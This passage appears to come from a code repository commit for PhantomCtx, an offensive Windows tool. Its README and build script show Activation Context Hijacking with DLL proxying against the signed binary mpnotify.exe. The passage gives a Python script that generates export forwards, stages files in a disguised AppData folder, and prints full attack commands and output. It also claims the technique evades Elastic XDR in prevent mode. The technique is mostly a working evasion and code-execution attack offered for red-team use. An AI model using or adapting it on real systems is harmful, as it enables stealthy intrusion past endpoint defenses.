| RosterIdx : 1
| Flags : PATH_INCLUDES_BASE_NAME
| Segments : 1 PathLen=40 bytes
| Path : C:\hijack\hijack.dll
|
<SNIP>
[SUCCESS] Activation Context hijacked in running process 'msedge.exe'.
```
# Example: Activation Context Hijacking + DLL Proxying 'mpnotify.exe'
Let's look at a practical use case in which `PhantomCtx` remains undetectable on a fully updated Windows 11 machine running the **Elastic Cloud XDR** agent with ALL rules enabled and set to **Prevent** mode to make it as aggressive as possible.
![](images/image1.png)
>Note that we will be targeting Windows 11 binaries; therefore, if our attacker machine is running Windows 10, we need to transfer the analyzed executables and DLLs to our machine.
The first step is to identify a Windows executable that imports relevant DLLs.
In this case, we'll use `PE-Bear` to inspect the Import Address Table (IAT) of the signed executable `C:\Windows\System32\mpnotify.exe`, where `ADVAPI32.dll` can be identified as one of its imports:
![](images/image2.png)
To prevent the application from crashing or exhibiting unexpected behavior when loading our payload, DLL proxying must be performed so that our payload forwards calls to the original DLL.
[DLL Export Viewer](https://www.nirsoft.net/utils/dll_export_viewer.html) will be used to extract all exported functions from `ADVAPI32.dll` and generate the forwarding directives that will be specified in the source code of our proxy DLL.
Once `C:\Windows\System32\advapi32.dll` is opened in DLL Export Viewer, navigate to `View > HTML Report - All Functions`.
![](images/image3.png)
It is necessary to keep the browser window open so that the generated `report.html` file remains available. The file path is then copied and processed using the following Python script developed by [itm4n](https://itm4n.github.io/dll-proxying/):
```python
"""
The report generated by DLL Exported Viewer is not properly formatted so it can't be analyzed using a parser unfortunately.
"""
from __future__ import print_function
import argparse
def main():
parser = argparse.ArgumentParser(description="DLL Export Viewer - Report Parser")
parser.add_argument("report", help="the HTML report generated by DLL Export Viewer")
args = parser.parse_args()
report = args.report
try:
f = open(report)
page = f.readlines()
f.close()
except:
print("[-] ERROR: open('%s')" % report)
return
for line in page:
if line.startswith("<tr>"):
cols = line.replace("<tr>", "").split("<td bgcolor=#FFFFFF nowrap>")
function_name = cols[1]
ordinal = cols[4].split(' ')[0]
dll_orig = "%s_orig" % cols[5][:cols[5].rfind('.')]
print("#pragma comment(linker,\"/export:%s=%s.%s,@%s\")" % (function_name, dll_orig, function_name, ordinal))
if __name__ == '__main__':
main()
```
```c
C:\Users\rexmax\Documents\DLL Proxying>.\exports.py dllexp\report.html
#pragma comment(linker,"/export:A_SHAFinal=advapi32_orig.A_SHAFinal,@1002")
#pragma comment(linker,"/export:A_SHAInit=advapi32_orig.A_SHAInit,@1003")
#pragma comment(linker,"/export:A_SHAUpdate=advapi32_orig.A_SHAUpdate,@1004")
<SNIP>
```
All exports from the output are copied into the source code of `payload.c`, after which the DLL is compiled and placed alongside `PhantomCtx` on the attacker machine, along with a copy of the original library renamed `advapi32_orig.dll`.
The required files must be organized as follows:
```c
C:\Users\rexmax\Documents\WindowsInternals\PhantomCtx\x64>dir
06/13/2026 08:53 PM 158,208 advapi32.dll
06/10/2026 01:52 AM 753,544 advapi32_orig.dll
06/13/2026 08:28 PM 198,144 PhantomCtx.exe
```
The files are then transferred to a directory on the Windows 11 target machine. In this case, they are dropped into:
```
C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache
```
Afterwards, Activation Context Hijacking is performed against the `mpnotify.exe` binary using `PhantomCtx`:
```c
C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache>.\PhantomCtx.exe -m spawn -s steal-context -p "C:\Windows\System32\mpnotify.exe" --steal-from explorer.exe -d advapi32.dll --dll-path "C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll"
[SUCCESS] Found 'explorer.exe' PID 6380
[SUCCESS] Opened handle to PID 6380
[SUCCESS] Activation Context Data Blob copied to local heap buffer @000002B135B26AA0 (8276 bytes)
[INFO] Activation Context blob from 'explorer.exe'. TotalSize=0x2054
[INFO] Patching blob: dllName='advapi32.dll' redirectPath='C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll'
[+] 'advapi32.dll' not found -> adding new entry.
[ADD] DLL key : advapi32.dll
[ADD] Redirect path : C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll
[ADD] PseudoKey : 0xF60E87FC
[ADD] RosterIndex : 1
[ADD] ElementCount : 3
[ADD] TotalSize : 0x2054 -> 0x2166
[SUCCESS] Blob patched. New TotalSize = 0x2166
[INFO] Patched ActivationContextData:
+-[ ACTIVATION CONTEXT DATA ]
| Magic : 0x78746341 (Actx)
| HeaderSize : 0x20 (32 bytes)
| FormatVersion : 1
| TotalSize : 0x2166 (8550 bytes)
| Flags : 0x00000000
|
+--[ TOC ] 9 entries
| [00] Id=1 Format=1 Offset=0x0134 Length=0x09CC
| [01] Id=2 Format=1 Offset=0x0B00 Length=0x1666 <-- DLL Redirection
| [02] Id=3 Format=1 Offset=0x0BC4 Length=0x12C8
| [03] Id=4 Format=2 Offset=0x1E8C Length=0x0028
| [04] Id=5 Format=2 Offset=0x1EB4 Length=0x0028
| [05] Id=6 Format=2 Offset=0x1EDC Length=0x0028
| [06] Id=9 Format=2 Offset=0x1F04 Length=0x0028
| [07] Id=10 Format=1 Offset=0x1F2C Length=0x0120
| [08] Id=11 Format=1 Offset=0x204C Length=0x0008
|
+--[ DLL REDIRECTION ] 3 entries
| [00] comctl32.dll.mui
| PseudoKey : 0xBBF34EA2
| RosterIdx : 3
| Flags : OMITS_ASSEMBLY_ROOT
| Segments : 0 PathLen=0 bytes
| Path : <reconstructed from roster>
|
| [01] comctl32.dll
| PseudoKey : 0xF1C4BC4F
| RosterIdx : 2
| Flags : OMITS_ASSEMBLY_ROOT
| Segments : 0 PathLen=0 bytes
| Path : <reconstructed from roster>
|
| [02] advapi32.dll
| PseudoKey : 0xF60E87FC
| RosterIdx : 1
| Flags : PATH_INCLUDES_BASE_NAME
| Segments : 1 PathLen=150 bytes
| Path : C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll
|
+--[ END ]
[SUCCESS] Suspended process created...
[INFO] Original PEB.ActivationContextData = 0000021D10BA0000
[SUCCESS] Patched blob written to section (8550 bytes)
[SUCCESS] Original Activation Context region unmapped @ 0000021D10BA0000
[SUCCESS] Patched Activation Context mapped at 0000021D10BA0000 (same address)
[SUCCESS] Target process resumed.
```
In this case, the payload DLL executes `calc.exe`. No alerts were generated.
![](images/image4.png)
![](images/image5.png)
# How to Compile
To compile the tool, it is recommended to use Visual Studio or a compatible compiler.
If using VS, open the `x64 Native Tools Command Prompt for VS`, navigate to the project root directory and compile it with `compile.bat`:
```
C:\PhantomCtx>.\compile.bat
[*] Created output directory: x64
[*] Compiling PhantomCtx...
main.c
utils.c
recon.c
actctx.c
c_runtime.c
dynamic_resolution.c
process_utils.c
spawn.c
runtime.c
Generating Code...
[+] Build successful: x64\PhantomCtx.exe
```
# Disclaimer
This tool was developed for **personal educational purposes** and is intended exclusively
for security professionals and red team operators working in **authorized environments**.
The use of PhantomCtx against systems without explicit permission is **illegal** and
strictly prohibited. The author takes no responsibility for any misuse or damage caused
by this tool.
+38
View File
@@ -0,0 +1,38 @@
@echo off
setlocal
:: ============================================================
:: PhantomCtx - Build Script
:: Requires: MSVC (cl.exe) via Developer Command Prompt
:: ============================================================
set OUT_DIR=x64
set OUT_BIN=%OUT_DIR%\PhantomCtx.exe
set OUT_OBJ=%OUT_DIR%\
:: ------------------------------------------------------------
if not exist %OUT_DIR% (
mkdir %OUT_DIR%
echo [*] Created output directory: %OUT_DIR%
)
echo [INFO] Compiling PhantomCtx...
cl /nologo ^
.\PhantomCtx\*.c ^
.\PhantomCtx\utils\*.c ^
.\PhantomCtx\recon\*.c ^
.\PhantomCtx\common\*.c ^
.\PhantomCtx\spawn\*.c ^
.\PhantomCtx\runtime\*.c ^
/Fe%OUT_BIN% /Fo%OUT_OBJ%
if %ERRORLEVEL% NEQ 0 (
echo [!] Compilation failed.
del /Q %OUT_DIR%\*.obj 2>nul
exit /b 1
)
del /Q %OUT_DIR%\*.obj 2>nul
echo [SUCCESSFUL] Build successful: %OUT_BIN%
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 146 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 100 KiB